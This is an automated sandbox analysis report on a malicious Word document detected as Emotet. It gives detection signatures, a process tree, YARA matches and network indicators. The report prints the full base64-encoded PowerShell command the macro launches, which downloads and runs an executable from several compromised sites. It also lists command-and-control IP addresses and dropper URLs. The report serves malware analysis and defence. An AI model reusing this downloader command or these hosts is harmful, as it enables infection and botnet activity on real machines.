Loading ...

Play interactive tourEdit tour

Analysis Report SecuriteInfo.com.Exploit.Siggen2.13466.28483.11718

Overview

General Information

Sample Name:SecuriteInfo.com.Exploit.Siggen2.13466.28483.11718 (renamed file extension from 11718 to doc)
Analysis ID:255734
MD5:425aa73b0c02c68839b7655a3de3a62a
SHA1:26b8e509a498230a29c637c047c099fca9cf7393
SHA256:94740399d4f82347d284463c29d6bd05a288b65a122efd5f8d8b379ab5979a80

Most interesting Screenshot:

Detection

Emotet
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Malicious encrypted Powershell command line found
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Yara detected Emotet
Yara detected Emotet Downloader
Creates processes via WMI
Document contains VBA stomped code (only p-code) potentially bypassing AV detection
Document contains an embedded VBA with hexadecimal encoded strings
Document contains an embedded VBA with many randomly named variables
Drops PE files to the user root directory
Drops executables to the windows directory (C:\Windows) and starts them
Encrypted powershell cmdline option found
Hides that the sample has been downloaded from the Internet (zone.identifier)
PowerShell case anomaly found
Powershell drops PE file
Very long command line found
Allocates a big amount of memory (probably used for heap spraying)
Contains capabilities to detect virtual machines
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to dynamically determine API calls
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates files inside the system directory
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Document contains an embedded VBA macro which executes code when the document is opened / closed
Document contains embedded VBA macros
Drops PE files
Drops PE files to the user directory
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
May sleep (evasive loops) to hinder dynamic analysis
PE file contains sections with non-standard names
PE file contains strange resources
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Potential key logger detected (key state polling based)
Queries the volume information (name, serial number etc) of a device
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

Startup

  • System is w10x64
  • WINWORD.EXE (PID: 6856 cmdline: 'C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE' /Automation -Embedding MD5: 0B9AB9B9C4DE429473D6450D4297A123)
  • powershell.exe (PID: 6948 cmdline: powersheLL -e JABJAFEAWQBKAFUAcABwAG0APQAnAFcASwBPAFkATwB6AHcAdQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAQwBgAFUAYABSAGkAYABUAFkAUABSAG8AVABgAG8AYwBPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABGAFkATwBGAEUAbgBkAHoAIAA9ACAAJwA2ADUAOQAnADsAJABJAFcAUgBHAEgAawB0AHMAPQAnAFQARgBZAEMAUwBnAGIAawAnADsAJABWAFgASwBJAFgAZABoAGMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEYAWQBPAEYARQBuAGQAegArACcALgBlAHgAZQAnADsAJABMAEQAVQBUAEwAcgBrAHMAPQAnAEcASgBQAEkASwB3AHoAcQAnADsAJABRAEcAUQBaAEEAdABxAG8APQAmACgAJwBuAGUAdwAtACcAKwAnAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAG4ARQB0AC4AVwBFAGIAQwBMAGkAZQBuAHQAOwAkAFIAVQBVAE4ASgB5AHoAcQA9ACcAaAB0AHQAcAA6AC8ALwBtAHUAbABpAGEAcgBlAG4AdABhAGwALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAHUAdwByAF8AdQA0AF8AZQBkADMAcQB6AGIAYgAvACoAaAB0AHQAcAA6AC8ALwBsAHQAcgB5AGIAdQBzAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AbQBmAGYAXwB4AGEAbwA5AGQAXwA1AGwAZAA1AHEAYQBqAGYAbQB4AC8AKgBoAHQAdABwADoALwAvAG0AeQA2AHQAaABnAGUAbgAuAG8AcgBnAC8AXwBkAGIAXwBiAGEAYwBrAHUAcABzAC8AdABfAGUAXwB2ADcAcQBpAHoAYwByADIALwAqAGgAdAB0AHAAOgAvAC8AbQB5AHcAZQBiAG4AZQByAGQALgBjAG8AbQAvAGIAbAB1AGUAcwBmAG8AcgBzAGEAbABlAC8AegBpADYAXwB2ADQAZwAwAF8AcgBtAHkAZwAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAG4AYQBhAHkAZQByAHMALgBvAHIAZwAvAEwAaQBiAHIAYQByAHkALwBvAF8AZQBvAF8AOQA3AG0AbAAvACcALgAiAFMAUABsAGAAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUgBLAFIAWgBBAHgAcQBzAD0AJwBZAEgAVgBTAE4AbwB3AGkAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFkASgBMAEcAUwByAGsAYgAgAGkAbgAgACQAUgBVAFUATgBKAHkAegBxACkAewB0AHIAeQB7ACQAUQBHAFEAWgBBAHQAcQBvAC4AIgBkAE8AdwBuAGAATABgAG8AYQBkAGAARgBpAEwARQAiACgAJABZAEoATABHAFMAcgBrAGIALAAgACQAVgBYAEsASQBYAGQAaABjACkAOwAkAEoAUABMAEEAVgBvAGoAbQA9ACcASQBLAFUAQwBDAGMAcwBrACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQAVgBYAEsASQBYAGQAaABjACkALgAiAEwARQBuAEcAYABUAEgAIgAgAC0AZwBlACAAMgAwADYAMAAzACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAHIAZQBgAEEAdABlACIAKAAkAFYAWABLAEkAWABkAGgAYwApADsAJABNAEMAWABDAFQAawBtAGwAPQAnAE8AVgBCAE0AQwBpAHEAYQAnADsAYgByAGUAYQBrADsAJABRAE8AQwBRAE4AbgBpAGgAPQAnAFYARQBUAEEARABuAG8AdwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABMAE0AUwBQAEkAZABlAHkAPQAnAEgAWQBTAFQATQBiAHAAdAAnAA== MD5: 95000560239032BC68B4C2FDFCDEF913)
    • conhost.exe (PID: 6956 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
  • 659.exe (PID: 7124 cmdline: C:\Users\user\659.exe MD5: 4C0E06B26760300062F096690761CF8C)
    • samlib.exe (PID: 6180 cmdline: C:\Windows\SysWOW64\InfDefaultInstall\samlib.exe MD5: 4C0E06B26760300062F096690761CF8C)
  • svchost.exe (PID: 6620 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 7008 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 6548 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 7032 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 5484 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 776 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • cleanup

Malware Configuration

No configs have been found

Yara Overview

Dropped Files

SourceRuleDescriptionAuthorStrings
C:\Users\user\Documents\20200802\PowerShell_transcript.648351.V+28M3Sm.20200802004258.txtPowerShell_Case_AnomalyDetects obfuscated PowerShell hacktoolsFlorian Roth
  • 0x23:$s1: PowerShell
  • 0xff:$s1: powersheLL
  • 0x1023:$s1: PowerShell
  • 0x23:$sr1: PowerShell
  • 0x1023:$sr1: PowerShell
  • 0x23:$sn3: PowerShell
  • 0x1023:$sn3: PowerShell
  • 0x101:$a1: wersheLL -e
C:\Users\user\Documents\20200802\PowerShell_transcript.648351.V+28M3Sm.20200802004258.txtJoeSecurity_EmotetDownloaderYara detected Emotet DownloaderJoe Security

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    00000005.00000002.1549951378.0000000002300000.00000040.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
      00000004.00000002.1301726442.0000000002151000.00000020.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
        00000005.00000002.1550002630.0000000002311000.00000020.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
          00000004.00000002.1301713060.0000000002140000.00000040.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security

            Sigma Overview

            No Sigma rule has matched

            Signature Overview

            Click to jump to signature section

            Show All Signature Results
            Source: C:\Windows\SysWOW64\InfDefaultInstall\samlib.exeCode function: 5_2_02311D9C CryptDecodeObjectEx,5_2_02311D9C
            Source: C:\Users\user\659.exeCode function: 4_2_004390BA __EH_prolog3_GS,GetFullPathNameA,PathIsUNCA,GetVolumeInformationA,CharUpperA,FindFirstFileA,FindClose,lstrlenA,4_2_004390BA
            Source: C:\Windows\SysWOW64\InfDefaultInstall\samlib.exeCode function: 5_2_004390BA __EH_prolog3_GS,GetFullPathNameA,PathIsUNCA,GetVolumeInformationA,CharUpperA,FindFirstFileA,FindClose,lstrlenA,5_2_004390BA
            Source: C:\Windows\SysWOW64\InfDefaultInstall\samlib.exeCode function: 5_2_00444717 lstrlenA,FindFirstFileA,FindClose,5_2_00444717
            Source: C:\Windows\SysWOW64\InfDefaultInstall\samlib.exeCode function: 5_2_023128BC FindNextFileW,FindFirstFileW,FindClose,5_2_023128BC
            Source: winword.exeMemory has grown: Private usage: 0MB later: 64MB
            Source: global trafficDNS query: name: muliarental.com
            Source: global trafficTCP traffic: 192.168.2.5:49750 -> 142.105.151.124:443
            Source: global trafficTCP traffic: 192.168.2.5:49747 -> 142.11.239.9:80

            Networking:

            barindex
            Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)Show sources
            Source: TrafficSnort IDS: 2404306 ET CNC Feodo Tracker Reported CnC Server TCP group 4 192.168.2.5:49750 -> 142.105.151.124:443
            Source: TrafficSnort IDS: 2404336 ET CNC Feodo Tracker Reported CnC Server TCP group 19 192.168.2.5:49756 -> 62.108.54.22:8080
            Source: TrafficSnort IDS: 2404328 ET CNC Feodo Tracker Reported CnC Server TCP group 15 192.168.2.5:49760 -> 212.51.142.238:8080
            Source: global trafficTCP traffic: 192.168.2.5:49756 -> 62.108.54.22:8080
            Source: global trafficTCP traffic: 192.168.2.5:49760 -> 212.51.142.238:8080
            Source: global trafficHTTP traffic detected: GET /wp-includes/uwr_u4_ed3qzbb/ HTTP/1.1Host: muliarental.comConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: POST /yfsE4evD1Z/nqnNCSWqEm0scjZyP8/bcV40TnYEDsY0Kmoei/IXazli1tptB/JSWY2/ HTTP/1.1Referer: http://212.51.142.238/yfsE4evD1Z/nqnNCSWqEm0scjZyP8/bcV40TnYEDsY0Kmoei/IXazli1tptB/JSWY2/Content-Type: multipart/form-data; boundary=---------------------------453374807509875User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 212.51.142.238:8080Content-Length: 4612Connection: Keep-AliveCache-Control: no-cache
            Source: unknownTCP traffic detected without corresponding DNS query: 142.105.151.124
            Source: unknownTCP traffic detected without corresponding DNS query: 142.105.151.124
            Source: unknownTCP traffic detected without corresponding DNS query: 142.105.151.124
            Source: unknownTCP traffic detected without corresponding DNS query: 62.108.54.22
            Source: unknownTCP traffic detected without corresponding DNS query: 62.108.54.22
            Source: unknownTCP traffic detected without corresponding DNS query: 62.108.54.22
            Source: unknownTCP traffic detected without corresponding DNS query: 212.51.142.238
            Source: unknownTCP traffic detected without corresponding DNS query: 212.51.142.238
            Source: unknownTCP traffic detected without corresponding DNS query: 212.51.142.238
            Source: unknownTCP traffic detected without corresponding DNS query: 212.51.142.238
            Source: unknownTCP traffic detected without corresponding DNS query: 212.51.142.238
            Source: unknownTCP traffic detected without corresponding DNS query: 212.51.142.238
            Source: global trafficHTTP traffic detected: GET /wp-includes/uwr_u4_ed3qzbb/ HTTP/1.1Host: muliarental.comConnection: Keep-Alive
            Source: unknownDNS traffic detected: queries for: muliarental.com
            Source: unknownHTTP traffic detected: POST /yfsE4evD1Z/nqnNCSWqEm0scjZyP8/bcV40TnYEDsY0Kmoei/IXazli1tptB/JSWY2/ HTTP/1.1Referer: http://212.51.142.238/yfsE4evD1Z/nqnNCSWqEm0scjZyP8/bcV40TnYEDsY0Kmoei/IXazli1tptB/JSWY2/Content-Type: multipart/form-data; boundary=---------------------------453374807509875User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 212.51.142.238:8080Content-Length: 4612Connection: Keep-AliveCache-Control: no-cache
            Source: samlib.exe, 00000005.00000002.1551896262.0000000002AD0000.00000004.00000001.sdmpString found in binary or memory: http://142.105.151.124/vaTStIsvQ/CVgsK/fQwQdZKmdw1Xw8ii2hH/cAEfvEDMYN8uu/
            Source: samlib.exe, 00000005.00000002.1551896262.0000000002AD0000.00000004.00000001.sdmpString found in binary or memory: http://212.51.142.238/yfsE4evD1Z/nqnNCSWqEm0scjZyP8/bcV40TnYEDsY0Kmoei/IXazli1tptB/JSWY2/
            Source: samlib.exe, 00000005.00000002.1551896262.0000000002AD0000.00000004.00000001.sdmpString found in binary or memory: http://212.51.142.238:8080/yfsE4evD1Z/nqnNCSWqEm0scjZyP8/bcV40TnYEDsY0Kmoei/IXazli1tptB/JSWY2/
            Source: samlib.exe, 00000005.00000003.1427954481.0000000002AD0000.00000004.00000001.sdmpString found in binary or memory: http://62.108.54.22/LpQGhYNLHQDyAeJcB/qrdAfT0P31CDjVxVLpw/
            Source: samlib.exe, 00000005.00000002.1551874365.0000000002AC2000.00000004.00000001.sdmp, samlib.exe, 00000005.00000003.1427954481.0000000002AD0000.00000004.00000001.sdmpString found in binary or memory: http://62.108.54.22:8080/LpQGhYNLHQDyAeJcB/qrdAfT0P31CDjVxVLpw/
            Source: samlib.exe, 00000005.00000003.1427954481.0000000002AD0000.00000004.00000001.sdmpString found in binary or memory: http://62.108.54.22:8080/LpQGhYNLHQDyAeJcB/qrdAfT0P31CDjVxVLpw/hqos.dll.mui
            Source: svchost.exe, 00000014.00000002.1549827888.0000023D44F29000.00000004.00000001.sdmpString found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0=
            Source: samlib.exe, 00000005.00000002.1551896262.0000000002AD0000.00000004.00000001.sdmpString found in binary or memory: http://ctldl.windowsup8080/yfsE4evD1Z/nqnNCSWqEm0scjZyP8/bcV40TnYEDsY0Kmoei/IXazli1tptB/JSWY2/
            Source: PowerShell_transcript.648351.V+28M3Sm.20200802004258.txt.1.drString found in binary or memory: http://ltrybus.com/cgi-bin/mff_xao9d_5ld5qajfmx/
            Source: PowerShell_transcript.648351.V+28M3Sm.20200802004258.txt.1.drString found in binary or memory: http://muliarental.com/wp-includes/uwr_u4_ed3qzbb/
            Source: PowerShell_transcript.648351.V+28M3Sm.20200802004258.txt.1.drString found in binary or memory: http://my6thgen.org/_db_backups/t_e_v7qizcr2/
            Source: PowerShell_transcript.648351.V+28M3Sm.20200802004258.txt.1.drString found in binary or memory: http://mywebnerd.com/bluesforsale/zi6_v4g0_rmyg/
            Source: svchost.exe, 00000014.00000002.1549827888.0000023D44F29000.00000004.00000001.sdmpString found in binary or memory: http://ocsp.digicert.com0:
            Source: svchost.exe, 00000014.00000002.1549827888.0000023D44F29000.00000004.00000001.sdmpString found in binary or memory: http://ocsp.msocsp.com0
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: http://weather.service.msn.com/data.aspx
            Source: PowerShell_transcript.648351.V+28M3Sm.20200802004258.txt.1.drString found in binary or memory: http://www.naayers.org/Library/o_eo_97ml/
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://analysis.windows.net/powerbi/api
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://api.aadrm.com/
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://api.diagnostics.office.com
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://api.diagnosticssdf.office.com
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://api.microsoftstream.com/api/
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://api.onedrive.com
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://api.powerbi.com/beta/myorg/imports
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://apis.live.net/v5.0/
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://app.powerbi.com/taskpane.html
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://arc.msn.com/v4/api/selection
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://augloop.office.com
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://cdn.entity.
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://client-office365-tas.msedge.net/ab
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://clients.config.office.net/
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/ios
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/mac
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://config.edge.skype.com
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://config.edge.skype.com/config/v1/Office
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://config.edge.skype.com/config/v2/Office
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://cortana.ai
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://cr.office.com
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://dataservice.o365filtering.com
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://dataservice.o365filtering.com/
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://dev0-api.acompli.net/autodetect
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://devnull.onenote.com
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://directory.services.
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://ecs.office.com/config/v2/Office
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://entitlement.diagnostics.office.com
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://entitlement.diagnosticssdf.office.com
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://globaldisco.crm.dynamics.com
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://graph.ppe.windows.net
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://graph.ppe.windows.net/
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://graph.windows.net
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://graph.windows.net/
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://incidents.diagnostics.office.com
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://incidents.diagnosticssdf.office.com
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://lifecycle.office.com
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://login.microsoftonline.com/
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://login.microsoftonline.com/common
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://login.windows.local
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://login.windows.net/common/oauth2/authorize
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://management.azure.com
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://management.azure.com/
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://messaging.office.com/
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://ncus-000.contentsync.
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://ncus-000.pagecontentsync.
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://officeapps.live.com
            Source: 7407087A-3CCA-46F1-AFE1-F28C4D44D8CA.0.drString found in binary or memory: https://officeci.azurewebsites.net/api/
